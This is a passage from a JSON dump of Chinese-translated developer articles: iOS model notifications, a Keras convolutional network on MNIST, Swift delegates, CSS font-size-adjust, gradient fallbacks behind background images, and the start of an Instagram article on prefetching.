initWithBuilder:newBuilder];\n[NotificationManager postModelUpdatedNotificationWithObject:newMessage];\n```\n\npostModelUpdatedNotificationWithObject 将会通过最近的同类模型和服务端的辨识标记检查模型的缓存，然后根据模型实例的缓存发布更新。\n\n## 更新用户界面\n\n一个通知发布以后，新的模型会作为 NSNotification 的一个 ‘object’ 属性传递。视图控制器可以随时随地的更新它需要的模型。\n\n```\n__weak __typeof__(self) weakSelf = self;\n[self.notificationManager addObserverForUpdatedModel:self.message block:^(NSNotification *notification) {\n    __typeof__(self) strongSelf = weakSelf;\n    Message *newMessage = (Message *)notification.object;\n    strongSelf.usersInMessageThread = newMessage.users;\n    [strongSelf.tableView reloadData];\n}];\n```\n\n## 后记\n\n将一个具有规模的应用迁移到新的模型层面上是一个具有挑战的任务，在这个过程中我们创建了许多辅助工具。请参见我们下一篇博客，我们会在当中解释我们如何自动生成所有的模型类等等。\n\n_感谢：感谢所有使用我们的新模型并反馈问题的 iOS 开发人员们，尤其需要提到的是我的队友 Rahul Malik， Chris Danford，Garrett Moon，Ricky Cancro，and Scott Goodson，以及 Bella You，Rocir Santiago 和 Andrew Chun 对于本文提供的反馈。_\n"
  },
  {
    "path": "TODO/implementation-of-convolutional-neural-network-using-python-and-keras.md",
    "content": "> * 原文地址：[Implementation of Convolutional Neural Network using Python and Keras](https://rubikscode.net/2018/03/05/implementation-of-convolutional-neural-network-using-python-and-keras/)\n> * 原文作者：[rubikscode](https://rubikscode.net)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/implementation-of-convolutional-neural-network-using-python-and-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO/implementation-of-convolutional-neural-network-using-python-and-keras.md)\n> * 译者：[JohnJiangLA](https://github.com/JohnJiangLA)\n> * 校对者：[Gladysgong](https://github.com/Gladysgong) [Starrier](https://github.com/Starriers)\n\n# 使用 Python 和 Keras 实现卷积神经网络\n\n你有没有想过？Snapchat 是如何检测人脸的？自动驾驶汽车是怎么知道路在哪里？你猜的没错，他们是使用了卷积神经网络这种专门用于处理计算机视觉的神经网络。在[**前一篇文章**](https://rubikscode.net/2018/02/26/introduction-to-convolutional-neural-networks/)中，我们研究了它们是怎么工作的。我们讨论了这些神经网络的层及其功能。基本上，卷积神经网络的附加层会将图像处理成神经网络能够支持的标准格式。这样做的第一步是检测某些特征或属性，这些工作是由卷积层完成的。\n\n这一层使用过滤器来检测低层次的特征（比如边缘和曲线）以及更高层次的特征（比如脸和手）。然后卷积神经网络使用附加层消除图像中的线性干扰，这些干扰会导致过分拟合。当线性干扰移除后，附加层会将图像下采样并将数据进行降维。最后，这些信息会被传递到一个神经网络中，在卷积神经网络中它叫全连接层。同样，本文的目标是如何实现这些层，因此关于这些附加层的更多细节以及如何工作和具体用途都可以在[**前一篇文章**](https://rubikscode.net/2018/02/26/introduction-to-convolutional-neural-networks/)中找到。\n\n![](https://i.imgur.com/Tnkq3Tf.png)\n\n在我们开始解决问题和开始码代码之前，请正确配置好你的环境。与[**本系列**](https://rubikscode.net/2018/02/19/artificial-neural-networks-series/)之前的所有文章一样，我会使用 Python 3.6。另外，我使用的是 Anaconda 和 Spyder，但是你也可以使用其他的 IDE。然后，最重要的是安装 Tensorflow 和 Keras。安装和使用 Tensorflow 的说明请查看[**此处**](https://rubikscode.net/2018/02/05/introduction-to-tensorflow-with-python-example/)，而安装和使用 Keras 的说明请查看[**此处**](https://rubikscode.net/2018/02/12/implementing-simple-neural-network-using-keras-with-python-example/)。\n\n## MNIST 数据集\n\n因此，在本文中，我们将训练我们的网络来识别图像中的数字。为此，我们将使用另一个著名的数据集 —— MNIST 数据集。在前身 [**NIST**](https://www.nist.gov/sites/default/files/documents/srd/nistsd19.pdf) 的基础上，这个数据集由一个包含 60,000 个样本的训练集和一个包含 10,000 个手写数字图像的测试集组成。所有数字都已大小归一化并居中了。图像的大小也是固定的，因此预处理图像数据已被最简化了。这也是这个数据集为何如此流行的原因。它被认为是卷积神经网络世界中的 “Hello World” 样例。\n\n![](https://i.imgur.com/dMRUT6k.png)\n\n###### MNIST 数据集样例\n\n此外，使用卷积神经网络，我们可以得到与人类判断相差无几的结果。目前，这一纪录由 Parallel Computing Center（赫梅尔尼茨基，乌克兰）保持。他们只使用了由 5 个卷积神经网络组成的集合，并将错误率控制在 0.21%。很酷吧？\n\n## 导入库和数据\n\n与[**本系列**](https://rubikscode.net/2018/02/19/artificial-neural-networks-series/)前面的文章一样，我们首先导入所有必要的库。其中一些是我们熟悉的，但是其中一些需要进一步讲解。\n\n正如你所见，我们将使用 numpy，这是我们在前面的示例中用于操作多维数组和矩阵的库。另外，也可以看到，我们会使用一些[**本系列**](https://rubikscode.net/2018/02/12/implementing-simple-neural-network-using-keras-with-python-example/)之前 Keras 库中用过的特性，也会使用一些新特性。比如创建模型和标准层（比如全连接层）会使用到 **Sequential** 和 **Dense**。 \n\n此外，我们还会使用一些 **Keras** 中的新类。**Conv2D** 是用于创建卷积层的类。**MaxPooling2D** 则是用于创建池化层的类，而 **Flatten** 是用于降维的类。我们也使用 **Keras util** 中的 **to_categorical**。该类用于将向量（整形量）转化为二值类别矩阵，即它用于 [**one-hot 编码**](https://en.wikipedia.org/wiki/One-hot)。最后，注意我们将使用 **matplotlib** 来显示结果。\n\n导入必要的库和类之后，我们需要处理数据。幸运的是，Keras 提供了 MNIST 数据集， 所以我们不需要下载它。如前所述，所有这些图像都已经进行了部分预处理。这意味着他们有相同的大小和数字位于合适的位置。因此，让我们导入这个数据集并为我们的模型准备数据：\n\n如你所见，我们从 Keras 数据集中导入了 MNIST 数据集。然后，我们将数据加载到训练和测试矩阵中。在此基础上，利用形状属性得到图像的维数，并对输入数据进行重构，从而得到输入图像的一个通道。基本上，我们只使用这个图像的一个通道，而不是常规的三个通道（RGB）。这样做是为了简化实现的难度。然后对输入矩阵中的数据进行归一化处理。最后，我们使用 **to_categorical** 对输出矩阵进行编码。\n\n## 模型创建\n\n现在，数据已经准备好了，我们可以开始最有趣的环节了 —— 创建模型：\n\n理所当然的，我们为此需要使用 **Sequential**，并首先使用 Conv2D 类添加卷积层。正如你所见的，这个类使用的参数很少，所以让我们一起来研究下。第一个参数是定要使用的过滤器个数，即要检测的特征个数。通常来说我们从 32 开始随后逐步增大这个数字。这正是我们在做的，在第一个卷积层中我们检测 32 个特征，第二层中 64 个，最后的第三层中 128 个。使用的过滤器大小则由下一个参数 —— **kernel_size** 来定义，我们已经选择了 3*3 的过滤器。\n\n在激活函数中，我们使用整流器函数。这样，在每个卷积层中非线性程度都会自然增加。实现这一点的另一种方法是使用 **keras.layers.advanced_activations** 中的 **LeakyReLU**。它不像标准的整理器函数，不是将所有低于某一固定值的值压缩为零，而是有一个轻微的负斜率。如果你决定使用它，请注意必须使用 **Conv2D** 中的线性激活。下面就是这种方式的样例：\n\n我们有点跑题了。讲回到 Conv2D 及其参数。另一个非常重要的参数是 **input_shape**。使用这个参数，定义输入图像的维数。如前所述，我们只使用一个通道，这是为什么我们的 **input_shape** 最终维度是 1。这是我们从输入图像中提取的维度。\n\n此外，我们还在模型中添加了其它层。Dropout 层能帮助我们防止过分拟合，此后，我们使用 **MasPooling2D** 类添加池化层。显然，这一层使用的是 max-pool 算法，池化过滤器的大小则是 2*2。池化层之后是降维层，最后是全连接层。对于最后的全连接层，我们添加了两层的神经网络，对于这两层，我们使用了 **Dense** 类。最后，我们编译模型，并使用了 Adam 优化器。\n\n如果你不明白其中的一些概念，你可以查看[**之前的文章**](https://rubikscode.net/2018/02/26/introduction-to-convolutional-neural-networks/)，其中解释了卷积层的原理机制。另外，如果你对于一些 Keras 的内容有疑惑，那么[**这篇文章**](https://rubikscode.net/2018/02/12/implementing-simple-neural-network-using-keras-with-python-example/)会帮助到你。\n\n## 训练\n\n很好，我们的数据预处理了，我们的模型也建好了。下面我们将他们合并到一起，并训练我们的模型。为了使我们正在使用的能够运转正常。我们传入输入矩阵并定义 **batch_size** 和 **epoch** 数。我们要做的另外一件事是定义 **validation_split**。这个参数用于定义将测试数据的哪个部分用作验证数据。\n\n基本上，该模型将保留部分训练数据，但它使用这部分数据在每个循环结束时计算损失和其他模型矩阵。这与测试数据不同，因为我们在每个循环结束后都会使用它。\n\n在我们的模型已经训练完成并准备好之后，我们使用 **evaluate** 方法并将测试集传入。这里我们能够得出这个卷积神经网络的准确率。\n\n## 预测\n\n我们可以做的另一件事是在测试数据集中收集对对神经网络的预测。这样，我们就可以将预测结果和实际结果进行比较。为此，我们将使用 **predict** 方法。使用这个方法我们还可以对单个输入进行预测。\n\n## 结果\n\n让我们使用这些我们刚刚收集到的预测来完成我们实现的最后一步。我们将显示预测的数字与实际的数字。我们还会显示我们预测的图像。基本上，我们将为我们的实现做很好的可视化展示。毕竟，我们在处理图像。\n\n在这里，我们使用了 **pyplot** 来显示十幅图像，并给出了实际结果和我们的预测。当我们运行我们的实现时，如下图所示：\n\n![](https://i.imgur.com/q70wn55.png)\n\n我们运行了 20 轮并得到了 99.39% 的准确率。并不差，当然这还有提升空间。\n\n## 结论\n\n卷积神经网络是计算机视觉领域中一个非常有趣的分支，也是最有影响力的创新之一。本文中我们实现了这些神经网络中的一个简易版本并用它来检测 MNIST 数据集上的数字。\n\n感谢阅读！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/implementing-delegates-in-swift-step-by-step.md",
    "content": "> * 原文地址：[Implementing delegates in Swift, step by step](https://medium.com/@jamesrochabrun/implementing-delegates-in-swift-step-by-step-d3211cbac3ef#.er1y3jh2l)\n* 原文作者：[James Rochabrun](https://medium.com/@jamesrochabrun)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Gocy](https://github.com/Gocy015)\n* 校对者：[skyar2009](https://github.com/skyar2009) ,[thanksdanny](https://github.com/thanksdanny)\n\n\n# 手把手带你在 Swift 中应用代理（Delegate）\n\n![](https://cdn-images-1.medium.com/max/800/1*q9CR-wzFHkccp7I761piVw.png)\n\n什么是代理呢？在软件开发中，存在许多用于解决特定场景中的普遍问题的通用方案架构，这些所谓的“模板”，常被称为设计模式。\n\n代理就是一种设计模式，它允许某个对象在特定事件发生时，向另一个对象发送消息。\n\n试想对象 A 调用对象 B 来执行某项操作。该操作完成后，对象 A 理应感知到对象 B 已经完成了任务以便采取后续的其它必要操作，而代理模式便能帮助我们完成这样的要求！\n\n![](https://cdn-images-1.medium.com/max/800/0*l4JyFlg2IPKL6lSr.jpg)\n\n为了更好地理解这个概念，我将用 Swift 写一个简单地应用来向你展示如何创建一个自定义代理来在类之间传递数据，首先，下载或 clone [初始项目](https://github.com/jamesrochabrun/DelegateTutorial) 并运行看看吧！\n\n![](https://cdn-images-1.medium.com/max/800/0*mTYwNIwVsFUlDwuI.gif)\n\n你可以看到项目中有两个类，ViewController A 和 ViewController B。B 有两个视图，被点击时会修改 ViewController 的背景颜色，没什么复杂的概念，对吧？现在我们要想一个简单办法，来让类 A 的背景颜色也随着类 B 中的视图点击变化。\n\n![](https://cdn-images-1.medium.com/max/800/0*mLo9CmQAdhGb_l60.png)\n\n问题在于，这些视图是类 B 的一部分，并不能感知到类 A，所以我们要想办法使两个类建立起联系，这便是代理大展身手的地方。\n\n我将实现过程分为了六个步骤，当你需要实现代理时可以依此作为参考。\n\n第一步：在 ClassBVC 文件中找到 step 1 的注释，并添加如下代码\n\n```\n//MARK: step 1 Add Protocol here.\n\nprotocol ClassBVCDelegate: class {\n\nfunc changeBackgroundColor(_ color: UIColor?)\n\n}\n\n```\n\n首先我们需要创建一个协议（protocol），本例中，我们将在类 B 中创建这个协议，你可以根据实际需要来向协议中添加任意数量的方法。本例只添加了一个接收可选的 UIColor 实例（optional UIColor）为参数的简单方法。\n\n**在类名末尾添加 Delegate 并将其作为你的协议的名称是一个良好的习惯，本例中就是 ClassBVCDelegate。**\n\n第二步：在 ClassBVC 文件中找到 step 2 的注释，并添加如下代码\n\n```\n//MARK: step 2 Create a delegate property here.\nweak var delegate: ClassBVCDelegate?\n\n```\n\n这里我们仅仅是为类添加了一个 delegate 属性，该属性必须遵循对应的协议，同时其应该被定义为可选的。同时，在声明属性时添加 weak 关键字来避免循环引用以及可能出现的内存泄露，如果你现在还不了解这是什么意思，也没关系，记着要加上这个关键字即可。\n\n第三步：在 ClassBVC 文件中的 handleTap 方法中找到 step 3 的注释，并添加如下代码\n\n```\n//MARK: step 3 Add the delegate method call here.\ndelegate?.changeBackgroundColor(tapGesture.view?.backgroundColor)\n\n```\n\n你需要注意一件事，如果你现在运行程序，不论你点击哪个视图都不会看到有任何新增的表现，这是正常的，我想特别说明的是，尽管此时 delegate 属性仍未被赋值，但我们访问它的时候应用并没有崩溃，这正是因为我们将其定义为了可选类型。现在让我们把视线移动到 ClassAVC 文件中，并将其实现为代理。\n\n第四步：在 ClassAVC 文件中找到 step 4 的注释，在类的类型后添加如下代码\n\n```\n//MARK: step 4 conform the protocol here.\nclass ClassAVC: UIViewController, ClassBVCDelegate {\n\n```\n\n现在 ClassAVC 便遵循了 ClassBVCDelegate 协议，你会发现编译器已经给了你一个“Type ‘ClassAVC does not conform to protocol ‘ClassBVCDelegate’”的错误了，这不过是因为你还没有实现协议中所规定的方法而已，类 A 遵循该协议时就像是和类 B 签下了一纸合约，合约规定“任何遵循该协议的类都 **必须** 实现规定的方法！”\n\n![](https://cdn-images-1.medium.com/max/800/0*0nAPyS5dneFZqjtm.jpg)\n\n**注意：如果你有一定的 Objective-C 开发经验，你或许认为将该协议方法标记为可选就能消除这个错误了，但出乎我意料的是（或许你也感到惊讶），Swift 中并没有可选协议方法的概念。**\n\n第五步：在 prepare for segue 方法中找到 step 5 的注释，并添加\n\n```\n//MARK: step 5 create a reference of Class B and bind them through the prepareforsegue method.\nif let nav = segue.destination as? UINavigationController, let classBVC = nav.topViewController as? ClassBVC {\nclassBVC.delegate = self\n}\n\n```\n\n此处我们创建了一个 ClassBVC 的实例，并将 self 赋值给其 delegate 属性，self 是什么呢？self 就是实现了代理协议的 ClassAVC 实例！\n\n第六步：最终，在 ClassAVC 中找到 step 6 的注释，实现协议中的方法。当你着手输入 func changeBackgroundColor 的时候，会发现编译器会出现相应的自动补全。在方法中你可以添加对应的实现，而本例中，我们仅仅是改变背景颜色，因此添加如下代码。\n\n```\n//MARK: step 6 finally use the method of the contract\nfunc changeBackgroundColor(_ color: UIColor?) {\nview.backgroundColor = color\n}\n\n```\n\n现在，运行程序吧！\n\n![](https://cdn-images-1.medium.com/max/800/0*ME6nP1z13pvMyLep.gif)\n\n代理无处不在，你或许正在使用却毫无察觉，如果你曾经使用过 table view，那么你就用过代理模式，许多 UIKIT 和各种框架中的类都围绕着代理做文章，而代理主要解决了以下几个问题。\n\n- 避免了对象之间的强耦合。\n- 无需继承便可改变对象的行为和外观。\n- 使任务可以交付给任意对象。（译者注：即抽象，无需依赖于具体类型）\n\n恭喜，你刚刚动手实现了一个自定义代理，我知道或许此时你想着的是，这么大费周折就为了实现这点事情？呃，如果你想成为一个 iOS 开发者，那么理解代理这种设计模式至关重要，你要时刻记住，代理模式中对象之间总是一对一关系。\n\n如果你感到疑惑也不必担心，我也花了好些时间才弄明白其中的含义，这甚至是我在上 iOS 培训课时候的重点课题。所以放轻松，慢慢来，如果你想和我讨论讨论，欢迎来 [Twitter](https://twitter.com/roch4brun) 找我。\n\n你可以在 [这里](https://github.com/jamesrochabrun/DelegateTutorialFinal) 找到项目的完整代码。\n\n感谢阅读！\n"
  },
  {
    "path": "TODO/improve-web-typography-css-font-size-adjust.md",
    "content": "\n> * 原文地址：[Improve Web Typography with CSS Font Size Adjust](https://www.sitepoint.com/improve-web-typography-css-font-size-adjust/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[Panayotis Matsinopoulos](https://www.sitepoint.com/author/pmatsinopoulos/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/improve-web-typography-css-font-size-adjust.md](https://github.com/xitu/gold-miner/blob/master/TODO/improve-web-typography-css-font-size-adjust.md)\n> * 译者：[lampui](https://github.com/lampui)\n> * 校对者：[sun](https://github.com/sunui)、[Yuuoniy](https://github.com/Yuuoniy)\n\n# 使用 CSS 的 font-size-adjust 属性改善网页排版\n\nCSS 中的 `font-size-adjust` [属性](https://drafts.csswg.org/css-fonts-3/#propdef-font-size-adjust)允许开发者基于小写字母的高度指定 `font-size` ，这可以有效地提高网页文字的可读性。\n\n在这篇文章中，你不仅能了解到 [font-size-adjust](https://drafts.csswg.org/css-fonts-3/#propdef-font-size-adjust) 属性的重要性，并且还能学会如何在你的项目中使用它。\n\n## font-size-adjust 的重要性\n\n你访问的网站大多都是由文本组成的，由于书面文字是网站的重要组成部分，因此就很值得把注意力放到你用来显示信息的字体上面。选对正确的字体能带给用户愉快的阅读体验，然而，使用不恰当的字体则会使网站变得难以阅读。当你决定将要使用什么字体后，一般你就会再给这个字体选择一个合适的大小。\n\n`font-size`　属性会设置网页中所有 `font-family` 下你想使用的字体的大小，然而在大多数情况下，浏览器一般都是使用 `font-family` 下声明的第一种字体。只有当第一种字体因为某些原因不可用时，浏览器才会使用候选字体继续渲染页面。\n\n举个例子，看下面的代码：\n\n```\nbody {\n  font-family: 'Lato', Verdana, sans-serif;\n}\n```\n\n如果你的浏览器从 [Google Fonts](https://fonts.google.com/?query=lato&selection.family=Lato) 下载的 ‘Lato’ 字体不可用时，在这种情况下，Verdana 字体就会被使用。但是，脑海里 `font-size` 的值好像是针对 ‘Lato’ 字体设定的，而不是 Verdana。\n\n### 什么是字体的纵横比？\n\n字体的外观尺寸及其可读性可能会因为 `font-size` 的值而产生很大的变化，特别像是对拉丁文这种文字会导致其在大小写之间差别巨大。在这种情况下，小写字母与对应的大写字母的高度比例是决定一种字体易读性的重要因素，这个比值通常被叫做一种字体的**纵横比**。\n\n正如我之前说的，一旦你设置了 `font-size` 的值，这个值将会对所有的字体起作用。如果候选字体的纵横比跟首选字体的纵横比相差太大，这可能影响候选字体的易读性。\n\n`font-size-adjust` 属性在这种情形下则扮演着一个尤为重要的角色，因为它允许你设置所有字体的 [x 轴高度](https://typedecon.com/blogs/type-glossary/x-height/) 为统一大小，以便提高文字的易读性。\n\n## 给 font-size-adjust 属性选择合适的值\n\n现在你知道使用 `font-size-adjust` 属性的重要性了吧，是时候把它用到你的网站上了。这个属性的语法如下：\n\n```\nfont-size-adjust: none | <number>\n```\n\n`none` 是默认值，这个值意味着不调整字体的大小。\n\n你也可以设置属性的值为一个数字，这个数字将用来计算一张网页上所有字体的 x 轴高度，x 轴高度等于这个数字乘以 `font-size` 的值。 这可以提高小尺寸字体的可读性。以下是一个使用 `font-size-adjust` 属性的例子：\n\n```\nfont-size: 20px;\nfont-size-adjust: 0.6;\n```\n\n所有字体的 x 轴高度现在是 20px * 0.6 = 12px，一种字体的实际大小现在可以被修改以确保 x 轴高度总是等于 12px。调整后 `font-size` 的值可以通过以下公式计算\n\n```\nc = ( a / a' ) s.\n```\n\n这里， `c` 指调整后的 `font-size`，`s` 指原先指定的 `font-size`，a 是 `font-size-adjust` 属性指定的纵横比，`a'` 指实际字体的纵横比。\n\n你不能设置 `font-size-adjust` 的值为负数，设置为 0 则会致使文字没有高度，换句话说，就是文字会被隐藏。在旧的浏览器中，例如 Firefox 40，如果设置其属性值为 0 则相当于设置为 `none`。\n\n大多数情况下，开发者一般会尝试不同的 `font-size` 取值以确定哪个值对给定的字体最好看。这意味着在理想情况下，他们希望所有字体的 x 轴高度与首选字体的 x 轴高度相等。换句话说，最合适的 `font-size-adjust` 取值就是你首选字体的纵横比。\n\n## 如何计算一种字体的纵横比\n\n要确定一种字体合适的纵横比，你可以凭实际经验就是调整后的字体大小应该跟原来声明的字体大小一样。这就是说上面公式中的 `a` 应该跟 `a'` 相等。\n\n计算纵横比的第一步是先创建 2 个 `<span>` 元素，每个 `<span>` 元素将会包含一个字母和一个包围着字母的边框（因为我们要进行比较，所以每个 `<span>` 中的字母都必须相同）。同时，每个元素的 `font-size` 属性值都应该相同，但只有一个元素会使用 `font-size-adjust` 属性。当 `font-size-adjust` 的值等于给定字体的纵横比时，每个 `<span>` 下的字母都是一样的大小。\n\n在下面的 demo 中，我创建了一个边框围绕着字母 ‘t’ 和 ‘b’ 并且对每组字母应用了不同的 `font-size-adjust` 属性值。\n\n以下是相关代码：\n\n```\n.adjusted-a {\n  font-size-adjust: 0.4;\n}\n\n.adjusted-b {\n  font-size-adjust: 0.495;\n}\n\n.adjusted-c {\n  font-size-adjust: 0.6;\n}\n```\n\n正如下面 demo 所示，`font-size-adjust` 的值越大则字母会显得越大，反之则越小，当该值等于纵横比时，每组字母的尺寸都相等。\n\n[![](http://oiklhfczu.bkt.clouddn.com/1504780206%281%29.jpg)](https://codepen.io/SitePoint/pen/YxxbMp)\n\n## 在网站上使用 font-size-adjust\n\n以下 demo 使用的 `font-size-adjust` 取值于上一个 CodePen demo 中为 ‘Lato’ 字体设置的值，现在将会用来调整 ‘Verdana’ 这个候选字体。会有一个按钮控制修改是否发生，所以你可以看出修改前后的变化：\n\n[![](http://oiklhfczu.bkt.clouddn.com/1504780255%281%29.jpg)](https://codepen.io/SitePoint/pen/KvvLOr)\n\n当你处理大量文字时效果会更加引人注目，然而上面的例子应该足够让你认识到这个属性的有用之处。\n\n## 浏览器支持\n\n目前，只有 Firefox 默认支持 `font-size-adjust` 属性。Chrome 和 Opera 分别从 43 和 30 版本开始作为试验特性予以支持，开发者需前往 chrome://flags 中开启 “Experimental Web Platform Features” 选项。Edge 和 Safari 不支持这个属性。\n\n如果你决定使用这个属性，低版本浏览器的支持将不成问题，这个属性被设计时就已经考虑到向后兼容性，不支持的浏览器会正常的显示文本，支持的浏览器则会基于该属性的值调整字体大小。\n\n## 总结\n\n读完这篇文章后，你应该知道 `font-size-adjust` 属性是什么，为什么它很重要以及如何计算出不同字体的纵横比。\n\n因为 `font-size-adjust` 在旧浏览器中优雅降级，你今天就可以直接应用该属性到你的生产环境中，以便提高页面文字易读性。\n\n你还有其他工具或方法可以帮助开发者更快地计算纵横比吗？留言告诉他们吧。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/improving-perceived-performance-with-multiple-background-images.md",
    "content": "\n> * 原文地址：[Improving Perceived Performance with Multiple Background Images](http://csswizardry.com/2016/10/improving-perceived-performance-with-multiple-background-images/)\n* 原文作者：[Harry](https://twitter.com/csswizardry)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Cyseria](https://github.com/cyseria)\n* 校对者：[luoyaqifei](https://github.com/luoyaqifei)，[rottenpen](https://github.com/rottenpen)\n\n\n我现在在火车上，信号很差。很多网站完全拒绝加载，就算加载了，也会丢失很多图片，留下很大的白洞。幸运的是大多图片都不是我想找的主要内容，但是他们的丢失让会我一直想等其他资源加载出来，在许多情况下是可感知的性能比实际表现本身更重要。于是我产生了一个小想法。\n\n前阵子，我是一个非常高调、高流量的竞选网站的顾问，遗憾的是我不能透露它的名字。我是半路加入来使事情变得更“快”的。\n\n网站的显著特征就是在头部有一张很大的图片，即使在网络情况较好的情况下也需要花一点时间去加载。我做了很多事情想让图片预加载，提前触发请求之类的，其中一个简单的技巧就是将图像的平均颜色作为“背景颜色”，这样图片加载的时候用户就不会看到巨大的白块了。这样，感知性能得到显著的改善,而且工作量少得难以置信:\n\n1. 用 Photoshop 打开图片\n2. 滤镜 >> 模糊 >> 平均 （Filter » Blur » Average）\n3. 用吸管（Eyedropper）吸取样本块的颜色\n4. 将该颜色应用于“背景颜色”（`background-color`:）\n```\n        .masthead {\n          background-image: url(/img/masthead.jpg);\n          background-color: #3d332b;\n        }\n```\n    \n这个方法我在自己网站首页的页头上也有用到：如果图片需要很长时间去加载，就给用户一个填充的颜色。然而，我现在在火车上打开自己的网站，看到的情况是这样的：\n\n![](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-missing-image.png)\n\n[查看高清大图 (104KB)](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-missing-image-full.png)\n\n\n图像的关键实际上不是内容，所以它有没有加载完毕并没有太大的关系。虽然可能比我的脸好看些，但仍然不太和谐：毕竟这只是一个扁平的,没有灵魂的色彩。那么怎样才能改善呢？\n\n## 使用 CSS 渐变和多背景\n\n简单来说，我想做一个大概跟图片差不多的 CSS 渐变。我不能强调“大概”这个词是否准确：我们重新讨论几团相似的平均颜色。我当时想把这个作为背景图像的图像本身，然而脑海里的是：噢，不！这张图片已经是一个背景图像。不用担心，我们可以在 [IE9+](http://caniuse.com/#feat=multibackgrounds) 中对同一个元素定义多背景。可以在同一个声明中定义实际的图片和他的大致渐变色。\n这意味着，如果你的浏览器有 CSS\n\n1. 它能够大致地绘制 CSS 样式\n2. 它能够在加载的时候发送网络请求获取实际的图片\n\n查看更多关于[CSS 多背景](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds)的资料\n\n## 让结果更加近似\n\n\n\n为了得到能用在页头的 CSS 样式，我用 Photoshop 打开了图片并且对不同的颜色域进行了分离。因为这张图里面的很多物品是从上到下的，所以我做了一个垂直分割。很方便的这些颜色区域基本在 25% 的区间。\n\n![](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-slices-before.jpg)\n\n[查看高清大图 (140KB)](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-slices-before-full.jpg)\n\n\n然后我单独选择每个部分并执行 滤镜>>模糊>>平均，然后图片变成这样\n\n![](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-slices-after.png)\n\n[查看高清大图 (2KB)](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-slices-after-full.png)\n\n\n下一步是对每种颜色进行取样并且将它们转换成 CSS 渐变样式：\n\n\n    linear-gradient(to right, #807363 0%, #251d16 50%, #3f302b 75%, #100b09 100%)\n\n\n\n\n看起来像这样：\n\n我现在需要做的就是把这个作为我的背景图像 `background-image` 的第二属性值:\n\n\n    .page-head--masthead {\n      background-image: url(/img/css/masthead-large.jpg),\n                        linear-gradient(to right, #807363 0%, #251d16 50%, #3f302b 75%, #100b09 100%);\n    }\n\n\n多背景的叠加顺序是这样的，第一个值（本例中是一个实际的图像）是最上面的图片，然后下一个属性放在下一个图层，等等。\n\n这就意味着，如果图片加载失败，我们可以看到：\n![](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-missing-image-after.png)\n\n[查看高清大图 (144KB)](http://csswizardry.com/wp-content/uploads/2016/10/screenshot-missing-image-after-full.png)\n\n\n没有太大的差异，但是比起一个扁平的图片会更加具体：在丢失图片的普通组合上添加一部分纹理和提示就够了。\n\n## 实际上\n因此，你可以看到，实现这种技术需要大量的体力劳动，除非有一个可靠的自动化工具，我认为这是一个技术最好的使用场景就像我这样的：一个低频率更改的特殊图片。\n\n从这将是下一个级别的平均颜色图像和应用,作为一个“背景颜色”。不需要渐变和多背景，但它仍然需要每张图象干预。\n\n然而，我很满意这种方式，为用户提供更大量的网络条件差。如果你的网站也有类似的静态图片，我建议尝试这种方法。\n\n[你喜欢这篇文章吗？**雇佣我吧**](http://csswizardry.com/work/)\n\n\n\n"
  },
  {
    "path": "TODO/improving-performance-with-background-data-prefetching.md",
    "content": "> * 原文地址：[Improving performance with background data prefetching](https://engineering.instagram.com/improving-performance-with-background-data-prefetching-b191acb39898)\n> * 原文作者：[Instagram Engineering](https://engineering.instagram.com/@InstagramEng?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/improving-performance-with-background-data-prefetching.md](https://github.com/xitu/gold-miner/blob/master/TODO/improving-performance-with-background-data-prefetching.md)\n> * 译者：[再也不悍跳的阿哲](https://juejin.im/user/5a30a026f265da43070340dd)\n> * 校对者：[realYukiko](https://github.com/realYukiko)，[foxxnuaa](https://github.com/foxxnuaa)\n\n# 通过后台数据预获取技术实现性能提升\n\nInstagram 社区变得比从前要更加庞大和多样化。每月有 8 亿人访问 Instagram，其中有 80% 的访问来自美国之外的地方。随着社区的不断扩大，面对多样复杂的网络状况、种类繁多的设备和非传统的使用模式，我们的 app 